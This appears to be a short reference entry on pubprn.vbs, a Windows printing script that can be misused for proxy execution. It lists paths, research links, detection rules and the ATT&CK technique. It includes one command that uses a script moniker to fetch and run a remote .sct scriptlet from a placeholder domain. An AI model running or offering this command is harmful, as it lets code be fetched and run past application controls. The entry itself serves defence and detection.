.. /Pubprn.vbs

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Paths:

• C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
• C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs

Resources:

• https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
• https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
• https://github.com/enigma0x3/windows-operating-system-archaeology

Acknowledgements:

• Matt Nelson (@enigma0x3)

Detections:

• BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• Sigma: https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml

Execute

1. Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection

   pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct

   Use case

   Proxy execution

   Privileges required

   User

   Operating systems

   Windows 10

   ATT&CK® technique

   T1216.001